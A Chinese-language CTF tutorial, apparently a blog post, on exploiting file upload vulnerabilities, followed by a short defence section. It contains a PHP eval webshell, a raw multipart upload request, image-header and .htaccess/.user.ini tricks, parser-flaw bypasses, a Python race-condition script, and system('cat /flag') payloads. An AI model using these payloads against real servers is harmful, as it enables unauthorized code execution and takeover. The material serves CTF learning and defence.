文件上传漏洞

一、漏洞原理与危害

文件上传漏洞是指 Web 应用程序在处理文件上传功能时,未对上传的文件类型、内容、大小等进行严格验证和过滤,导致攻击者可以上传恶意文件(如木马、病毒、webshell 等)到服务器,进而控制服务器。

CTF 中的目标通常是:

  • 上传一句话木马,获取 Web Shell
  • 读取服务器上的 Flag 文件(如 /flag
  • 利用文件覆盖、包含等组合拳完成攻击

二、CTF 中常见的上传点与题型特征

  • 头像上传、文件分享、导入导出功能
  • 后台模板上传、插件上传
  • 存在前端 JS 校验(但后端无校验或校验不严)
  • 返回上传路径或可直接访问上传目录
  • 给出源代码或提示过滤规则

三、前端验证绕过

前端验证通常是用 JavaScript 校验文件后缀名或 MIME 类型,完全可控。

绕过方法

  1. 抓包修改(Burp Suite 拦截请求,将恶意文件的后缀改成允许的类型)
  2. 禁用浏览器 JavaScript
  3. 直接在 Burp 中构造原始请求,绕过前端

CTF 示例 :上传头像只允许 jpg/png,但前端校验。上传时抓包,把文件名 shell.php 改成 shell.php.jpg,Content-Type 改成 image/jpeg,但要注意绕过后续后端校验。

四、后端验证绕过

后端验证是核心,需要根据检测点针对性绕过。

4.1 MIME 类型检测绕过

服务器检查 Content-Type 请求头,如只允许 image/jpegimage/pngimage/gif

绕过:直接修改 Content-Type 为允许的类型。

复制代码
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary--
4.2 文件扩展名黑名单绕过

服务器维护了一份不允许的后缀黑名单(如 php, php5, phtml, asp 等),但可能遗漏或存在缺陷。

常见黑名单绕过手法

绕过方式 说明 示例文件名(上传时抓包修改)
大小写混合 如果程序未统一转小写再比较 shell.Phpshell.pHp
双写绕过 过滤函数只替换一次,如将 php 替换为空 shell.pphphp → 替换后变成 shell.php
扩展名末尾加空格 Windows 系统会自动去除文件名末尾空格 shell.php(抓包在 .php 后加空格)
扩展名末尾加点 Windows 下点被忽略 shell.php.
::$DATA Windows NTFS 文件流特性 shell.php::$DATA
利用罕见后缀 如果服务器解析 phtmlphp5pht shell.phtmlshell.php5shell.shtml
.htaccess 配合 先上传 .htaccess 文件,添加解析规则,再传图片马 上传 .htaccessAddType application/x-httpd-php .jpg,然后传 shell.jpg
Apache 解析次序 如果目标有多个扩展名,Apache 可能从右往左解析无法识别的后缀,直到能解析的 shell.php.xxxxxx 不在 mime.types 中则解析为 php
利用 .user.ini PHP 的配置文件,可以设置 auto_prepend_file 上传 .user.ini 内容:auto_prepend_file=shell.jpg,再传图片马
.png.php 文件.php.png它读出来是照片,文件.php它不是pngjpg文件类型它读取不了,但改成 文件.png.php里面首先带一个png让它检测为png照片类型,后面的php结尾的它又不检测 strpos()函数做校验,文件后缀包含jpg就行。

注意:这些方法需要根据具体服务器环境和过滤逻辑来尝试。

4.3 白名单扩展名绕过

白名单只允许特定后缀(如 jpg, png, gif, doc),相对安全。绕过通常需要结合其他漏洞:

  • %00 截断 (PHP 5.3.4 以下,且 magic_quotes_gpc=Off):shell.php%00.jpg,服务器保存时 %00 后的内容被截断,保存为 shell.php
  • 路径可控 + 解析漏洞 :如 IIS 6.0 解析分号后面的内容;Nginx 低版本遇到 1.jpg/.php 会当作 PHP 解析;Apache 多后缀解析等(见解析漏洞一节)。
  • 条件竞争:上传时服务器先保存一个临时文件,然后检查后缀是否在白名单,如果不合法则删除。可以在删除前这一极短时间窗口内不断访问上传的文件,使其执行(见条件竞争一节)。
4.4 文件内容检测绕过

服务器可能检查文件头(Magic Number)或对图片进行二次渲染。

文件头绕过

在脚本前加上合法的图片文件头,比如 GIF 文件头 GIF89a

复制代码
GIF89a
<?php @eval($_POST['cmd']); ?>

保存为 shell.gifshell.php(但要配合后缀绕过)。如果只校验文件头,可以这样做;如果同时还严格校验后缀且无法绕过,则需要上传图片马并利用解析漏洞或包含漏洞。

二次渲染绕过

有的上传会调用 GD 库对图片重新编码生成新图片(如头像裁剪),插入的 PHP 代码可能会被破坏。需要找到不会变动的图片数据区域,或使用工具(如 copy 1.jpg/b + 1.php/a shell.jpg)将代码隐藏在图片注释段中。针对 GIF 较容易(在头部后插入代码),PNG 需要处理 IDAT 块。

五、文件包含 + 文件上传组合拳

当上传目录无法直接解析 PHP,但网站存在文件包含漏洞(如 include($_GET['page']))时,可以上传图片马(代码藏在图片里),然后通过文件包含去执行该图片,从而 GetShell。

步骤

  1. 制作图片马:copy /b normal.jpg + shell.php payload.jpg
  2. 上传 payload.jpg,得到路径 uploads/payload.jpg
  3. 利用文件包含漏洞访问:?page=uploads/payload.jpg,代码执行。

六、解析漏洞利用(特定环境)

即使文件后缀被严格限制为 .jpg,如果目标服务器存在解析漏洞,仍可能执行。

服务器/环境 解析漏洞描述 利用方式
Apache 多后缀 从右向左遇到未知后缀时,会向左继续解析,直到能解析的后缀。例如 test.php.xxxxxx 不在 mime.types 中)则被当作 PHP 执行。 上传 shell.php.xxx,但需确保 xxx 不在黑名单且不被识别。
IIS 6.0 分号截断:test.asp;.jpg 会被解析为 ASP;目录解析:/upload.asp/1.jpg 会将 1.jpg 当作 ASP 执行。 创建 shell.asp;.jpg 上传;或利用目录形式。
Nginx < 8.03 1.jpg/.php 会被当作 PHP 执行(如果 FastCGI 配置不当,cgi.fix_pathinfo=1 上传 shell.jpg,然后访问 /shell.jpg/.php 即可执行。
IIS 7.0/7.5 + PHP 类似 Nginx 的 cgi.fix_pathinfo 问题 同 Nginx 利用方式。

七、条件竞争(Race Condition)

当服务器处理流程为:先将上传的文件保存到临时目录,再校验后缀名,如果非法则删除。这期间存在一个窗口期,文件在磁盘上存留了几十到几百毫秒。如果我们在删除前不断访问该文件,就可能成功执行。

利用方法

  1. 上传一个恶意 PHP 文件(例如 shell.php)。
  2. 同时用大量并发请求访问 http://target.com/upload/shell.php
  3. 只要有一次请求在文件被删除前到达,PHP 代码就被执行。一般可以写一个简单脚本循环请求,直到成功。

Python 脚本示例(需要同时开两个线程):

python 复制代码
import requests
import threading

def upload():
    while True:
        files = {'file': open('shell.php', 'rb')}
        requests.post('http://target.com/upload.php', files=files)

def access():
    while True:
        r = requests.get('http://target.com/uploads/shell.php')
        if r.status_code == 200 and 'shell' in r.text:
            print('Success')

threading.Thread(target=upload).start()
threading.Thread(target=access).start()

八、.htaccess 与 .user.ini 攻击(Apache / PHP)

若目标为 Apache 且允许覆盖配置(AllowOverride),可以上传 .htaccess 改变解析规则。

.htaccess 常用指令

复制代码
# 将 .jpg 当作 php 解析
AddType application/x-httpd-php .jpg

# 直接指定某文件为 shell
SetHandler application/x-httpd-php
<Files "evil.jpg">
    SetHandler application/x-httpd-php
</Files>

步骤 :先上传 .htaccess(文件名可绕过后缀黑名单,如 .htaccess.jpg 后利用 Windows 特性或文件名为空等技巧;或直接允许上传 .htaccess),再上传图片马 shell.jpg

PHP 的 .user.ini (自 PHP 5.3.0 起,适用于 CGI/FastCGI SAPI,且 user_ini.filename 默认为 .user.ini):

复制代码
auto_prepend_file=shell.jpg

把所有 PHP 文件执行前自动包含 shell.jpg,从而执行里面的代码。

上传 .user.ini 可能受到和 .htaccess 类似的后缀限制,可以尝试大小写、双写等绕过,或先上传 .user.ini 文件名本身就是白名单(如果只允许 .ini 之类)。

九、CTF 实战示例:综合文件上传绕过

题目描述 :一个上传头像页面,要求上传图片,返回路径。存在过滤,目标是获取 /flag 文件内容。

步骤

  1. 信息收集 :尝试上传正常 1.jpg,成功返回 uploads/1.jpg。上传 1.php,提示"不允许的文件类型"。猜测存在黑名单。

  2. 测试黑名单

    • shell.php5 → 失败
    • shell.phtml → 成功!说明服务器未禁止 phtml
    • 上传内容为 <?php system('cat /flag');?>shell.phtml,访问 uploads/shell.phtml,直接显示 Flag。完成

    如果 phtml 也被禁,尝试 .phar.shtml 等。

  3. 若白名单限制只能为图片

    • 尝试 shell.php%00.jpg (00截断,旧版PHP)
    • 若目标为 Apache,尝试 shell.php.xxx,观察是否解析为 PHP。
    • 若不行,考虑文件包含。测试参数是否有 page=, file= 之类。制作图片马 payload.jpgcopy /b 1.jpg + shell.php payload.jpg),上传,得到 uploads/payload.jpg。通过文件包含访问 ?page=uploads/payload.jpg,执行命令拿 Flag。
  4. 遇到内容检测(文件头)

    • 制作 GIF89a<?php system('cat /flag');?> 保存为 shell.gif,上传,看返回是否为 gif 后缀。若后缀被强制改为 .gif,则需要结合解析漏洞或文件包含。
    • 若服务器重编码图片(二次渲染),需要使用不会破坏代码的图片制作工具,或在上传后对比文件差异,找到可插入位置。
  5. 遇到 WAF 或复杂过滤

    • 尝试图片马 + .htaccess 组合:先上传 .htaccess(文件名可能需绕过:.htaccess.%2ehtaccess 等),包含 AddType application/x-httpd-php .jpg,再传 shell.jpg
    • 尝试条件竞争,若上传后立即删除非图片文件。
  6. 拿到 Shell 后 :通常 system('cat /flag');echo file_get_contents('/flag'); 可读取 Flag。

十、防御措施简述

  • 白名单扩展名 :只允许必要类型,如 jpg, png, gif,且文件名随机化,不可控。
  • 文件内容校验:检查文件头 + 使用 ImageMagick 等库重新渲染生成新图片,防止代码嵌入。
  • 存储目录不解析 :上传目录设置静态资源模式,如 Nginx 中 location /uploads { add_header Content-Type application/octet-stream; } 或 PHP 关闭该目录的脚本执行权限(.htaccess 设置 php_flag engine off)。
  • 使用对象存储或 CDN:隔离上传文件与应用服务器。
  • 禁用危险函数evalsystem 等,即使上传了脚本也可能无法执行。
  • 设置文件权限:上传目录不给执行权限。

十一、总结

  • 文件上传漏洞的 CTF 核心是绕过各种过滤,考验对各种服务器特性、解析机制、代码缺陷的了解。
  • 基本流程:判断检测类型 → 尝试绕过(后缀、内容、条件竞争)→ 寻找解析或包含路径 → 执行命令拿 Flag
  • 熟练掌握黑/白名单绕过、解析漏洞、.htaccess/.user.ini 利用、条件竞争是制胜关键。
  • 防御必须深度:前端限制 + 后端白名单 + 内容净化 + 目录不可执行。
相关推荐
Lust Dusk3 小时前
记一次web渗透做题思路解析
网络·安全·web安全·网络安全
Sagittarius_A*6 小时前
Burst Lab|PHP 审计 10:PHP 网络请求与 SSRF 漏洞审计思路
网络·安全·web安全·php·代码审计
Yan_chen6666 小时前
HTTP和HTTPS 完整指南
网络协议·web安全·http·网络安全·https
艺杯羹6 小时前
从攻击者视角拆解12306:SYN泛洪、CC攻击与候补机制的攻防博弈
网络·web安全·网络安全·网络攻击模型·攻防
星核0penstarry6 小时前
OpenAI 模型第三方网络安全评估事件解析:背景、原理与改进路径(2)
安全·web安全·云原生
jieyucx1 天前
【高级利用】条件竞争与逻辑漏洞:与服务器赛跑的艺术
android·运维·服务器·web安全·文件上传
jieyucx1 天前
【服务器特性】结合服务器/CMS:解析漏洞实战
运维·服务器·web安全·文件上传
虹科网络安全2 天前
解读CRA横向标准EN 40000系列:从法规文本到工程落地 | CRA合规之路(七)
网络·安全·web安全
2301_780789662 天前
零信任时代:WAF 从边界防护到微隔离的架构跃迁
网络·安全·web安全·kubernetes·ddos